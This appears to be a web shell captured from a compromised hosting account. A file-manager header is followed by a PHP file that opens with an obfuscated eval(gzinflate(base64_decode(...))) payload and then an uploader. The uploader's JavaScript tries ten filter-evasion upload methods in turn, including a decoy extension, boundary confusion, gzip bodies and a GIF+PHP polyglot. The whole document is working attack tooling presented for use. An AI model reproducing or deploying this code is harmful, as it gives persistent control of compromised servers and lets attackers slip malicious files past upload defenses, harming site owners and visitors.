HEX
Server: Apache
System: Linux p102.lithium.hosting 4.18.0-553.141.1.el8_10.x86_64 #1 SMP Fri Jul 10 17:48:02 UTC 2026 x86_64
User: bvzmoamr (9955)
PHP: 8.1.34
Disabled: syslog
Upload Files
File: //proc/thread-self/root/proc/2078924/root/tmp/cfgrfarxw
<?php eval(gzinflate(base64_decode('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')));?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Upload</title>
<style>
#ra{margin-top:8px;white-space:pre-wrap;display:none}
</style>
</head>
<body>
<input type="file" id="fa">
<button onclick="doAuto()">Upload</button>
<div id="ra"></div>

<script>
const ME = location.pathname;

// ── DOM helpers ─────────────────────────────────────────────────────────────
function _setResult(id, cls, msg) {
    const el = document.getElementById('r' + id);
    el.style.display = 'block';
    el.style.color = cls === 'loading' ? '#8b949e' : '';
    el.className = cls === 'loading' ? 'result' : 'result ' + cls;
    el.textContent = msg;
}
function loading(id, label) { _setResult(id, 'loading', label || 'Sending...'); }
function show(id, j) {
    if (j && j.success) _setResult(id, 'ok',  'OK [' + (j.method||'?') + '] ' + j.file);
    else                 _setResult(id, 'err', 'FAIL: ' + ((j && j.error) || 'Unknown'));
}
function err(id, msg) { _setResult(id, 'err', 'FAIL: ' + msg); }

// ── Shared fetch helper (no DOM) ─────────────────────────────────────────────
async function _raw(fetchPromise) {
    try {
        const resp = await fetchPromise;
        const text = await resp.text();
        if (!resp.ok || !text.trim().startsWith('{'))
            return {success:false, error:'HTTP ' + resp.status + ' ' + text.replace(/<[^>]+>/g,'').trim().slice(0,150)};
        return JSON.parse(text);
    } catch(e) { return {success:false, error:e.message}; }
}

function b64file(f) {
    return new Promise(res => {
        const r = new FileReader();
        r.onload = e => res(e.target.result.split(',')[1]);
        r.readAsDataURL(f);
    });
}

// ── Per-method runners (accept file, return result object, no DOM) ───────────
async function _runV1(f) {
    const fd = new FormData(); fd.append('action','v1'); fd.append('f',f);
    return _raw(fetch(ME,{method:'POST',body:fd}));
}
async function _runV2(f) {
    const fd = new FormData(); fd.append('action','v2'); fd.append('f',f);
    return _raw(fetch(ME,{method:'POST',body:fd}));
}
async function _runV3(f) {
    const fd = new FormData();
    fd.append('action','v3'); fd.append('n',f.name); fd.append('d', await b64file(f));
    return _raw(fetch(ME,{method:'POST',body:fd}));
}
async function _runV4(f) {
    const CHUNK = 64*1024, total = Math.ceil(f.size/CHUNK);
    for (let i = 0; i < total; i++) {
        const fd = new FormData();
        fd.append('action','v4'); fd.append('n',f.name);
        fd.append('chunk', await b64file(f.slice(i*CHUNK, Math.min((i+1)*CHUNK,f.size))));
        fd.append('i',i); fd.append('t',total);
        const j = await _raw(fetch(ME,{method:'POST',body:fd}));
        if (!j.success) return j;
        if (j.complete) return j;
    }
    return {success:false, error:'No chunks sent'};
}
async function _runV5(f) {
    return _raw(fetch(ME+'?n='+encodeURIComponent(f.name),{method:'PUT',body:await f.arrayBuffer()}));
}
async function _runV6(f) {
    return _raw(fetch(ME,{method:'POST',
        headers:{'Content-Type':'application/json'},
        body:JSON.stringify({n:f.name, d:await b64file(f)})}));
}
async function _runV7(f) {
    const body = 'action=v7&n='+encodeURIComponent(f.name)+'&d='+encodeURIComponent(await b64file(f));
    const enc = new TextEncoder(), SZ = 4096, parts = [];
    for (let i = 0; i < body.length; i += SZ) parts.push(enc.encode(body.slice(i,i+SZ)));
    let idx = 0;
    const stream = new ReadableStream({pull(ctrl){idx<parts.length?ctrl.enqueue(parts[idx++]):ctrl.close();}});
    try {
        return await _raw(fetch(ME,{method:'POST',
            headers:{'Content-Type':'application/x-www-form-urlencoded'},
            body:stream, duplex:'half'}));
    } catch(e) { return {success:false, error:'ReadableStream: '+e.message}; }
}
async function _runV8(f) {
    const buf = await f.arrayBuffer(), enc = new TextEncoder();
    const bnd  = '---=_Part_'+Math.random().toString(36).slice(2,10)+'_'+Date.now();
    const fake = '--'+bnd.slice(0,12);
    const head =
        '--'+bnd+'\r\nCONTENT-disposition: Form-Data; Name="action"\r\n\r\nv8\r\n'+
        '--'+bnd+'\r\nX-Pad: '+fake+
        '--'+bnd+'\r\nContent-Disposition: form-data; name="f"; filename="'+f.name+'"\r\n'+
        'Content-Type: application/octet-stream\r\n\r\n';
    return _raw(fetch(ME,{method:'POST',
        headers:{'Content-Type':'multipart/form-data; boundary='+bnd},
        body:new Blob([enc.encode(head),buf,enc.encode('\r\n--'+bnd+'--\r\n')])}));
}
async function _runV9(f) {
    if (typeof CompressionStream==='undefined') return {success:false,error:'CompressionStream not supported'};
    const comp = await new Response(f.stream().pipeThrough(new CompressionStream('gzip'))).arrayBuffer();
    return _raw(fetch(ME+'?n='+encodeURIComponent(f.name),{method:'POST',
        headers:{'Content-Type':'application/octet-stream','X-CE':'gzip'}, body:comp}));
}
async function _runV10(f) {
    const content = await f.arrayBuffer();
    const gif  = new Uint8Array([0x47,0x49,0x46,0x38,0x39,0x61,0x01,0x00,0x01,0x00,0x00,0x00,0x00,0x3b]);
    const poly = new Uint8Array(gif.length+content.byteLength);
    poly.set(gif); poly.set(new Uint8Array(content),gif.length);
    const fd = new FormData(); fd.append('action','v10');
    fd.append('f',new Blob([poly],{type:'image/gif'}),f.name);
    return _raw(fetch(ME,{method:'POST',body:fd}));
}

const RUNS = [
    ['V1 Standard Multipart',   _runV1],
    ['V2 Decoy Extension',      _runV2],
    ['V3 Base64 POST Field',    _runV3],
    ['V4 Chunked Base64',       _runV4],
    ['V5 HTTP PUT',             _runV5],
    ['V6 JSON Body',            _runV6],
    ['V7 HTTP Chunked TE',      _runV7],
    ['V8 Boundary Confusion',   _runV8],
    ['V9 Gzip Body',            _runV9],
    ['V10 Polyglot GIF+PHP',    _runV10],
];

// ── Auto: try V1 -> V10 in order, stop on first success ─────────────────────
async function doAuto() {
    const ra = document.getElementById('ra');
    const f  = document.getElementById('fa').files[0];
    ra.style.display = 'block';
    if (!f) { ra.className = 'err'; ra.textContent = 'Select a file first'; return; }
    const log = [];
    for (let i = 0; i < RUNS.length; i++) {
        const [label, fn] = RUNS[i];
        ra.className = ''; ra.textContent = '[' + (i+1) + '/10] ' + label + '...';
        const j = await fn(f);
        if (j && j.success) {
            ra.className = 'ok';
            ra.textContent = 'OK [' + label + '] ' + j.file;
            return;
        }
        log.push((i+1) + '. ' + label + ': ' + ((j && j.error) || 'failed'));
    }
    ra.className = 'err';
    ra.textContent = 'All failed:\n' + log.join('\n');
}

</script>
</body>
</html>